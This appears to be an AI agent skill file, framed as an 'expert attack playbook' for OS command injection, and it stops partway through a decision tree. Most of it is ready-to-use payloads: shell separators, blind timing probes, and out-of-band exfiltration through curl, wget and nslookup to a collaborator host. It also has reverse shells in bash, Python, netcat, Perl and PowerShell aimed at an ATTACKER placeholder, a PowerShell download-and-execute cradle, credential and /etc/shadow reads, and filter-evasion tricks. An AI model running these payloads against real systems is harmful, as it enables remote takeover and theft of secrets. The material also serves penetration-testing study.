cmdi-command-injection

What this skill does

# SKILL: OS Command Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert command injection techniques. Covers all shell metacharacters, blind injection, time-based detection, OOB exfiltration, polyglot payloads, and real-world code patterns. Base models miss subtle injection through unexpected input vectors.

## 0. RELATED ROUTING

Before going deep, you can first load:

- [upload insecure files](../upload-insecure-files/SKILL.md) when the shell sink is part of a broader upload, import, or conversion workflow

### First-pass payload families

| Context | Start With | Backup |
|---|---|---|
| generic shell separator | `;id` | `&&id` |
| quoted argument | `";id;"` | `';id;'` |
| blind timing | `;sleep 5` | `& timeout /T 5 /NOBREAK` |
| command substitution | `$(id)` | `` `id` `` |
| out-of-band DNS | `;nslookup token.collab` | Windows `nslookup` variant |

```text
cat$IFS/etc/passwd
{cat,/etc/passwd}
%0aid
```

---

## 1. SHELL METACHARACTERS (INJECTION OPERATORS)

These characters break out of the command context and inject new commands:

| Metacharacter | Behavior | Example |
|---|---|---|
| `;` | Runs second command regardless | `dir; whoami` |
| `\|` | Pipes stdout to second command | `dir \| whoami` |
| `\|\|` | Run second only if first FAILS | `dir \|\| whoami` |
| `&` | Run second in background (or sequenced in Windows) | `dir & whoami` |
| `&&` | Run second only if first SUCCEEDS | `dir && whoami` |
| `$(cmd)` | Command substitution | `echo $(whoami)` |
| `` `cmd` `` | Command substitution (backtick) | `` echo `whoami` `` |
| `>` | Redirect stdout to file | `cmd > /tmp/out` |
| `>>` | Append to file | `cmd >> /tmp/out` |
| `<` | Read file as stdin | `cmd < /etc/passwd` |
| `%0a` | Newline character (URL-encoded) | `cmd%0awhoami` |
| `%0d%0a` | CRLF | Multi-command injection |

---

## 2. COMMON VULNERABLE CODE PATTERNS

### PHP
```php
$dir = $_GET['dir'];
$out = shell_exec("du -h /var/www/html/" . $dir);
// Inject: dir=../ ; cat /etc/passwd
// Inject: dir=../ $(cat /etc/passwd)

exec("ping -c 1 " . $ip);          // $ip = "127.0.0.1 && cat /etc/passwd"
system("convert " . $file);        // ImageMagick RCE
passthru("nslookup " . $host);     // $host = "x.com; id"
```

### Python
```python
import os
os.system("curl " + url)            # url = "x.com; id"
subprocess.call("ls " + path, shell=True)  # shell=True is the key vulnerability
os.popen("ping " + host)
```

### Node.js
```javascript
const { exec } = require('child_process');
exec('ping ' + req.query.host, ...);  // host = "x.com; id"
```

### Perl
```perl
$dir = param("dir");
$command = "du -h /var/www/html" . $dir;
system($command);
// Inject dir field: | cat /etc/passwd
```

### ASP (Classic)
```vb
szCMD = "type C:\logs\" & Request.Form("FileName")
Set oShell = Server.CreateObject("WScript.Shell")
oShell.Run szCMD
// Inject FileName: foo.txt & whoami > C:\inetpub\wwwroot\out.txt
```

---

## 3. BLIND COMMAND INJECTION — DETECTION

When response shows no command output:

### Time-Based Detection
```bash
# Linux:
; sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
& sleep 5 &

# Windows:
& timeout /T 5 /NOBREAK
& ping -n 5 127.0.0.1
& waitfor /T 5 signal777
```
Compare response time without payload vs with payload. 5+ second delay = confirmed.

### OOB via DNS
```bash
# Linux:
; nslookup BURP_COLLAB_HOST
; host `whoami`.BURP_COLLAB_HOST
$(nslookup $(whoami).BURP_COLLAB_HOST)

# Windows:
& nslookup BURP_COLLAB_HOST
& nslookup %USERNAME%.BURP_COLLAB_HOST
```

### OOB via HTTP
```bash
# Linux:
; curl http://BURP_COLLAB_HOST/`whoami`
; wget http://BURP_COLLAB_HOST/$(id|base64)

# Windows:
& powershell -c "Invoke-WebRequest http://BURP_COLLAB_HOST/$(whoami)"
```

### OOB via Out-of-Band File
```bash
; id > /var/www/html/RANDOM_FILE.txt
# Then access: https://target.com/RANDOM_FILE.txt
```

---

## 4. INJECTION CONTEXT VARIATIONS

### Within Quoted String
```bash
command "INJECT"
# Inject: " ; id ; "
# Result: command "" ; id ; ""
```

### Within Single-Quoted String
```bash
command 'INJECT'
# Inject: '; id;'
# Result: command ''; id;''
```

### Within Backtick Execution
```bash
output=`command INJECT`
# Inject: x`; id ;`
```

### File Path Context
```bash
cat /var/log/INJECT
# Inject: ../../../etc/passwd (path traversal)
# Inject: access.log; id (command injection)
```

---

## 5. PAYLOAD LIBRARY

### Information Gathering
```bash
; id                          # current user
; whoami                      # user name
; uname -a                    # OS info
; cat /etc/passwd             # user list
; cat /etc/shadow             # password hashes (if root)
; ls /home/                   # home directories
; env                         # environment variables (DB creds, API keys!)
; printenv                    # same
; cat /proc/1/environ         # process environment
; ifconfig                    # network interfaces
; cat /etc/hosts              # host entries
```

### Reverse Shells (Linux)
```bash
# Bash:
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Python:
; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat (with -e):
; nc ATTACKER 4444 -e /bin/bash

# Netcat (without -e / OpenBSD):
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Perl:
; perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### Reverse Shells (Windows via PowerShell)
```powershell
& powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

& powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

---

## 6. FILTER BYPASS TECHNIQUES

### Space Alternatives (when space is filtered)
```bash
cat</etc/passwd          # < instead of space
{cat,/etc/passwd}        # brace expansion
cat$IFS/etc/passwd       # $IFS variable (field separator)
X=$'\x20'&&cat${X}/etc/passwd  # hex encoded space
```

### Slash Alternatives (when `/` is filtered)
```bash
$'\057'etc$'\057'passwd  # octal representation
cat /???/???sec???        # glob expansion
```

### Keyword Bypass via Variable Assembly
```bash
a=c;b=at;c=/etc/passwd; $a$b $c   # 'cat /etc/passwd'
c=at;ca$c /etc/passwd              # cat
```

### Newline Injection
```
cmd%0Aid%0Awhoami          # URL-encoded newlines
cmd$'\n'id$'\n'whoami      # literal newlines
```

---

## 7. COMMON INJECTION ENTRY POINTS

| Entry | Example |
|---|---|
| Network tools | ping, nslookup, traceroute, whois forms |
| File conversion | image resize, PDF generate, format convert |
| Email senders | From address, name fields in notification emails |
| Search/sort parameters | Passed to grep, find, sort commands |
| Log viewing | Passed to tail, grep commands |
| Custom script execution | "Run test" features, CI/CD hooks |
| DNS lookup features | rDNS lookup, WHOIS query |
| Backup/restore features | File path parameters |
| Archive processing | zip/unzip, tar with user-provided filename |

---

## 8. BLIND INJECTION DECISION TREE

```
Found potential injection point?
├── Try basic: ; sleep 5
│   └── Response delays? → Confirmed blind injection
│       ├── Extract data via timing: if/then sleep
│       └── Use OOB: curl/nslookup to Collaborator
│
├── No delay observed?
│   ├── Try: | sleep 5